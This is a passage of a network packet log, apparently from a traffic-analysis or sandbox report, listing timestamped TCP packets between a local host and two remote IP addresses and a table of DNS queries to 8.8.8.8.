May 1, 2024 18:22:29.669420958 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.670208931 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.670258045 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.670305967 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.670346022 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.671195030 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.671251059 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.671258926 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.671273947 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.671299934 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.672183990 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.672230959 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.672563076 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.672614098 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.672626972 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.672665119 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.673618078 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.673674107 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.673686028 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.673728943 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.673741102 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.673808098 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.673861027 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.674627066 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.674676895 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.676171064 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.676184893 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.676219940 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.676232100 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.676246881 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.676258087 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.676270008 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.676292896 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.678172112 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.678220987 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.678231955 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.678246021 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.678263903 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.678278923 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.679176092 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.679225922 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.679234028 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.679254055 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.679284096 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.679300070 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.679430008 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.681143045 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.681200027 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.681205034 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.681216955 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.681242943 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.681255102 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.681355953 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.683212996 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.683262110 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.683288097 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.683301926 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.683317900 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.683340073 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.685302973 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.685354948 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.685369015 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.685388088 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.685401917 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.685422897 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.686259031 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.686304092 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.686312914 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.686321974 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.686347008 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.686358929 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.688205957 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.688251019 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.688262939 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.688276052 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.688288927 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.688308001 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.688460112 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.718389988 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.718442917 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.718493938 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.718518972 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.718545914 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.718554974 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.719222069 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.762126923 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.762181997 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.762255907 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.762285948 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.762300014 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.762324095 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.763006926 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.763516903 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.763562918 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.763570070 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.763581038 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.763623953 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.763623953 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.763752937 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.765589952 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.765634060 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.765664101 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.765676975 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.765691996 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.765712023 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.767436028 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.767477036 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.767502069 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.767518044 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.767530918 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.767553091 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.769367933 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.769408941 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.769437075 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.769450903 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.769463062 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.769486904 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.771548033 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.771590948 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.771612883 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.771625042 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.771637917 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.771648884 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.772629023 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.772670984 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.772691965 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.772701025 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.772715092 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.772742033 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.774519920 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.774566889 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.774580002 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.774593115 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.774615049 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.774626970 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.775450945 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.775496006 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.775504112 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.775527954 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:22:29.775541067 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:29.775563002 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:33.699475050 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:33.702975988 CEST	49205	443	192.168.2.22	104.21.60.38
May 1, 2024 18:22:33.702992916 CEST	443	49205	104.21.60.38	192.168.2.22
May 1, 2024 18:23:10.313631058 CEST	49207	29872	192.168.2.22	192.169.69.26
May 1, 2024 18:23:10.527115107 CEST	29872	49207	192.169.69.26	192.168.2.22
May 1, 2024 18:23:10.527204990 CEST	49207	29872	192.168.2.22	192.169.69.26
May 1, 2024 18:23:10.530741930 CEST	49207	29872	192.168.2.22	192.169.69.26
May 1, 2024 18:23:10.722795963 CEST	29872	49207	192.169.69.26	192.168.2.22
May 1, 2024 18:23:13.130268097 CEST	49208	29871	192.168.2.22	192.169.69.26
May 1, 2024 18:23:13.342616081 CEST	29871	49208	192.169.69.26	192.168.2.22
May 1, 2024 18:23:13.345526934 CEST	49208	29871	192.168.2.22	192.169.69.26
May 1, 2024 18:23:13.842963934 CEST	49208	29871	192.168.2.22	192.169.69.26
May 1, 2024 18:23:14.153156996 CEST	29871	49208	192.169.69.26	192.168.2.22
May 1, 2024 18:23:23.007580042 CEST	49209	29871	192.168.2.22	192.169.69.26
May 1, 2024 18:23:23.261424065 CEST	29871	49209	192.169.69.26	192.168.2.22
May 1, 2024 18:23:23.261660099 CEST	49209	29871	192.168.2.22	192.169.69.26
May 1, 2024 18:23:23.262841940 CEST	49209	29871	192.168.2.22	192.169.69.26
May 1, 2024 18:23:23.548572063 CEST	29871	49209	192.169.69.26	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 18:20:41.248637915 CEST	54562	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:41.348900080 CEST	53	54562	8.8.8.8	192.168.2.22
May 1, 2024 18:20:43.660891056 CEST	52917	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:43.777667999 CEST	53	52917	8.8.8.8	192.168.2.22
May 1, 2024 18:20:45.618702888 CEST	62751	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:45.729424000 CEST	53	62751	8.8.8.8	192.168.2.22
May 1, 2024 18:20:46.214162111 CEST	57893	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:46.326531887 CEST	53	57893	8.8.8.8	192.168.2.22
May 1, 2024 18:20:47.349608898 CEST	54821	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:47.459662914 CEST	53	54821	8.8.8.8	192.168.2.22
May 1, 2024 18:20:48.044560909 CEST	54719	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:48.139242887 CEST	53	54719	8.8.8.8	192.168.2.22
May 1, 2024 18:20:48.755565882 CEST	49881	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:48.850656033 CEST	53	49881	8.8.8.8	192.168.2.22
May 1, 2024 18:20:50.797612906 CEST	54998	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:50.892533064 CEST	53	54998	8.8.8.8	192.168.2.22
May 1, 2024 18:20:52.129909992 CEST	52781	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:52.240302086 CEST	53	52781	8.8.8.8	192.168.2.22
May 1, 2024 18:20:53.203670979 CEST	63926	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:53.315177917 CEST	53	63926	8.8.8.8	192.168.2.22
May 1, 2024 18:20:57.510685921 CEST	65510	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:57.623327971 CEST	53	65510	8.8.8.8	192.168.2.22
May 1, 2024 18:20:59.455323935 CEST	62672	53	192.168.2.22	8.8.8.8
May 1, 2024 18:20:59.550465107 CEST	53	62672	8.8.8.8	192.168.2.22
May 1, 2024 18:20:59.982223988 CEST	56475	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:00.109519005 CEST	53	56475	8.8.8.8	192.168.2.22
May 1, 2024 18:21:01.534106970 CEST	49384	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:01.629203081 CEST	53	49384	8.8.8.8	192.168.2.22
May 1, 2024 18:21:05.173047066 CEST	54842	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:05.282814980 CEST	53	54842	8.8.8.8	192.168.2.22
May 1, 2024 18:21:05.718477964 CEST	58105	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:05.813594103 CEST	53	58105	8.8.8.8	192.168.2.22
May 1, 2024 18:21:06.863914013 CEST	64928	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:06.974354029 CEST	53	64928	8.8.8.8	192.168.2.22
May 1, 2024 18:21:07.514209986 CEST	57390	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:07.609211922 CEST	53	57390	8.8.8.8	192.168.2.22
May 1, 2024 18:21:08.504962921 CEST	58095	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:08.600152016 CEST	53	58095	8.8.8.8	192.168.2.22
May 1, 2024 18:21:13.348938942 CEST	54261	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:13.444186926 CEST	53	54261	8.8.8.8	192.168.2.22
May 1, 2024 18:21:14.237869978 CEST	60507	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:14.332699060 CEST	53	60507	8.8.8.8	192.168.2.22
May 1, 2024 18:21:14.946079969 CEST	50446	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:15.057497025 CEST	53	50446	8.8.8.8	192.168.2.22
May 1, 2024 18:21:16.142293930 CEST	55939	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:16.237462997 CEST	53	55939	8.8.8.8	192.168.2.22
May 1, 2024 18:21:18.512571096 CEST	49608	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:18.623866081 CEST	53	49608	8.8.8.8	192.168.2.22
May 1, 2024 18:21:19.719593048 CEST	61486	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:19.814316034 CEST	53	61486	8.8.8.8	192.168.2.22
May 1, 2024 18:21:20.899189949 CEST	62453	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:20.993757963 CEST	53	62453	8.8.8.8	192.168.2.22
May 1, 2024 18:21:21.625782013 CEST	50568	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:21.721213102 CEST	53	50568	8.8.8.8	192.168.2.22
May 1, 2024 18:21:22.219018936 CEST	61467	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:22.313657045 CEST	53	61467	8.8.8.8	192.168.2.22
May 1, 2024 18:21:23.501049995 CEST	61618	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:23.595305920 CEST	53	61618	8.8.8.8	192.168.2.22
May 1, 2024 18:21:24.261049032 CEST	54422	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:24.355746984 CEST	53	54422	8.8.8.8	192.168.2.22
May 1, 2024 18:21:25.127815962 CEST	52074	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:25.222199917 CEST	53	52074	8.8.8.8	192.168.2.22
May 1, 2024 18:21:27.187902927 CEST	50337	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:27.282159090 CEST	53	50337	8.8.8.8	192.168.2.22
May 1, 2024 18:21:28.184928894 CEST	61826	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:28.279517889 CEST	53	61826	8.8.8.8	192.168.2.22
May 1, 2024 18:21:28.913119078 CEST	56329	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:29.008239031 CEST	53	56329	8.8.8.8	192.168.2.22
May 1, 2024 18:21:30.165396929 CEST	63469	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:30.260442019 CEST	53	63469	8.8.8.8	192.168.2.22
May 1, 2024 18:21:30.878798962 CEST	59447	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:30.973165989 CEST	53	59447	8.8.8.8	192.168.2.22
May 1, 2024 18:21:31.455076933 CEST	51828	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:31.565931082 CEST	53	51828	8.8.8.8	192.168.2.22
May 1, 2024 18:21:32.661166906 CEST	53406	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:32.755573988 CEST	53	53406	8.8.8.8	192.168.2.22
May 1, 2024 18:21:33.332684040 CEST	56345	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:33.427191973 CEST	53	56345	8.8.8.8	192.168.2.22
May 1, 2024 18:21:33.904930115 CEST	51870	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:34.016827106 CEST	53	51870	8.8.8.8	192.168.2.22
May 1, 2024 18:21:34.017117023 CEST	51870	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:34.112034082 CEST	53	51870	8.8.8.8	192.168.2.22
May 1, 2024 18:21:35.189076900 CEST	65009	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:35.283551931 CEST	53	65009	8.8.8.8	192.168.2.22
May 1, 2024 18:21:35.953577042 CEST	64956	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:36.047956944 CEST	53	64956	8.8.8.8	192.168.2.22
May 1, 2024 18:21:36.664850950 CEST	54521	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:36.760205984 CEST	53	54521	8.8.8.8	192.168.2.22
May 1, 2024 18:21:38.106295109 CEST	49750	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:38.201294899 CEST	53	49750	8.8.8.8	192.168.2.22
May 1, 2024 18:21:38.773658991 CEST	64687	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:38.868854046 CEST	53	64687	8.8.8.8	192.168.2.22
May 1, 2024 18:21:38.869077921 CEST	64687	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:38.964133024 CEST	53	64687	8.8.8.8	192.168.2.22
May 1, 2024 18:21:39.478163958 CEST	65084	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:39.573415041 CEST	53	65084	8.8.8.8	192.168.2.22
May 1, 2024 18:21:40.681109905 CEST	63373	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:40.775657892 CEST	53	63373	8.8.8.8	192.168.2.22
May 1, 2024 18:21:41.455945969 CEST	56207	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:41.551778078 CEST	53	56207	8.8.8.8	192.168.2.22
May 1, 2024 18:21:42.161959887 CEST	51955	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:42.256622076 CEST	53	51955	8.8.8.8	192.168.2.22
May 1, 2024 18:21:43.344773054 CEST	58971	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:43.440057993 CEST	53	58971	8.8.8.8	192.168.2.22
May 1, 2024 18:21:43.440262079 CEST	58971	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:43.535567045 CEST	53	58971	8.8.8.8	192.168.2.22
May 1, 2024 18:21:44.296161890 CEST	51014	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:44.391361952 CEST	53	51014	8.8.8.8	192.168.2.22
May 1, 2024 18:21:44.939502001 CEST	49690	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:45.033880949 CEST	53	49690	8.8.8.8	192.168.2.22
May 1, 2024 18:21:46.150847912 CEST	60169	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:46.245449066 CEST	53	60169	8.8.8.8	192.168.2.22
May 1, 2024 18:21:46.745203018 CEST	53060	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:46.840233088 CEST	53	53060	8.8.8.8	192.168.2.22
May 1, 2024 18:21:47.695950031 CEST	49949	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:47.811669111 CEST	53	49949	8.8.8.8	192.168.2.22
May 1, 2024 18:21:48.900747061 CEST	54027	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:48.995340109 CEST	53	54027	8.8.8.8	192.168.2.22
May 1, 2024 18:21:49.872941971 CEST	63950	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:49.967490911 CEST	53	63950	8.8.8.8	192.168.2.22
May 1, 2024 18:21:49.967705011 CEST	63950	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:50.062179089 CEST	53	63950	8.8.8.8	192.168.2.22
May 1, 2024 18:21:50.647994041 CEST	58257	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:50.742985010 CEST	53	58257	8.8.8.8	192.168.2.22
May 1, 2024 18:21:52.068430901 CEST	54738	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:52.162982941 CEST	53	54738	8.8.8.8	192.168.2.22
May 1, 2024 18:21:52.163217068 CEST	54738	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:52.257852077 CEST	53	54738	8.8.8.8	192.168.2.22
May 1, 2024 18:21:52.258079052 CEST	54738	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:52.370883942 CEST	53	54738	8.8.8.8	192.168.2.22
May 1, 2024 18:21:52.371099949 CEST	54738	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:52.465672970 CEST	53	54738	8.8.8.8	192.168.2.22
May 1, 2024 18:21:53.489027023 CEST	49478	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:53.583726883 CEST	53	49478	8.8.8.8	192.168.2.22
May 1, 2024 18:21:53.584016085 CEST	49478	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:53.694154978 CEST	53	49478	8.8.8.8	192.168.2.22
May 1, 2024 18:21:53.694343090 CEST	49478	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:53.788830042 CEST	53	49478	8.8.8.8	192.168.2.22
May 1, 2024 18:21:53.789186954 CEST	49478	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:53.883375883 CEST	53	49478	8.8.8.8	192.168.2.22
May 1, 2024 18:21:53.883711100 CEST	49478	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:53.978255987 CEST	53	49478	8.8.8.8	192.168.2.22
May 1, 2024 18:21:55.563309908 CEST	49288	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:55.659858942 CEST	53	49288	8.8.8.8	192.168.2.22
May 1, 2024 18:21:55.661484003 CEST	49288	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:55.773397923 CEST	53	49288	8.8.8.8	192.168.2.22
May 1, 2024 18:21:55.773660898 CEST	49288	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:55.868273973 CEST	53	49288	8.8.8.8	192.168.2.22
May 1, 2024 18:21:55.868518114 CEST	49288	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:55.963732958 CEST	53	49288	8.8.8.8	192.168.2.22
May 1, 2024 18:21:55.964004993 CEST	49288	53	192.168.2.22	8.8.8.8
May 1, 2024 18:21:56.058453083 CEST	53	49288	8.8.8.8	192.168.2.22
May 1, 2024 18:22:00.034470081 CEST	61598	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:00.129159927 CEST	53	61598	8.8.8.8	192.168.2.22
May 1, 2024 18:22:00.129359961 CEST	61598	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:00.223520994 CEST	53	61598	8.8.8.8	192.168.2.22
May 1, 2024 18:22:00.223741055 CEST	61598	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:00.318231106 CEST	53	61598	8.8.8.8	192.168.2.22
May 1, 2024 18:22:00.318428040 CEST	61598	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:00.412965059 CEST	53	61598	8.8.8.8	192.168.2.22
May 1, 2024 18:22:00.413233042 CEST	61598	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:00.507369041 CEST	53	61598	8.8.8.8	192.168.2.22
May 1, 2024 18:22:01.094655037 CEST	58754	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:01.206665993 CEST	53	58754	8.8.8.8	192.168.2.22
May 1, 2024 18:22:01.207086086 CEST	58754	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:01.301999092 CEST	53	58754	8.8.8.8	192.168.2.22
May 1, 2024 18:22:01.305366039 CEST	58754	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:01.400314093 CEST	53	58754	8.8.8.8	192.168.2.22
May 1, 2024 18:22:01.423333883 CEST	58754	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:01.518507004 CEST	53	58754	8.8.8.8	192.168.2.22
May 1, 2024 18:22:02.584129095 CEST	49226	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:02.678601027 CEST	53	49226	8.8.8.8	192.168.2.22
May 1, 2024 18:22:02.683722019 CEST	49226	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:02.778820992 CEST	53	49226	8.8.8.8	192.168.2.22
May 1, 2024 18:22:02.779084921 CEST	49226	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:02.874051094 CEST	53	49226	8.8.8.8	192.168.2.22
May 1, 2024 18:22:02.874392033 CEST	49226	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:02.969626904 CEST	53	49226	8.8.8.8	192.168.2.22
May 1, 2024 18:22:07.606164932 CEST	54695	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:07.701328993 CEST	53	54695	8.8.8.8	192.168.2.22
May 1, 2024 18:22:07.702109098 CEST	54695	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:07.797184944 CEST	53	54695	8.8.8.8	192.168.2.22
May 1, 2024 18:22:07.799102068 CEST	54695	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:07.894224882 CEST	53	54695	8.8.8.8	192.168.2.22
May 1, 2024 18:22:07.894555092 CEST	54695	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:07.989653111 CEST	53	54695	8.8.8.8	192.168.2.22
May 1, 2024 18:22:07.993817091 CEST	54695	53	192.168.2.22	8.8.8.8
May 1, 2024 18:22:08.088238955 CEST	53	54695	8.8.8.8	192.168.2.22
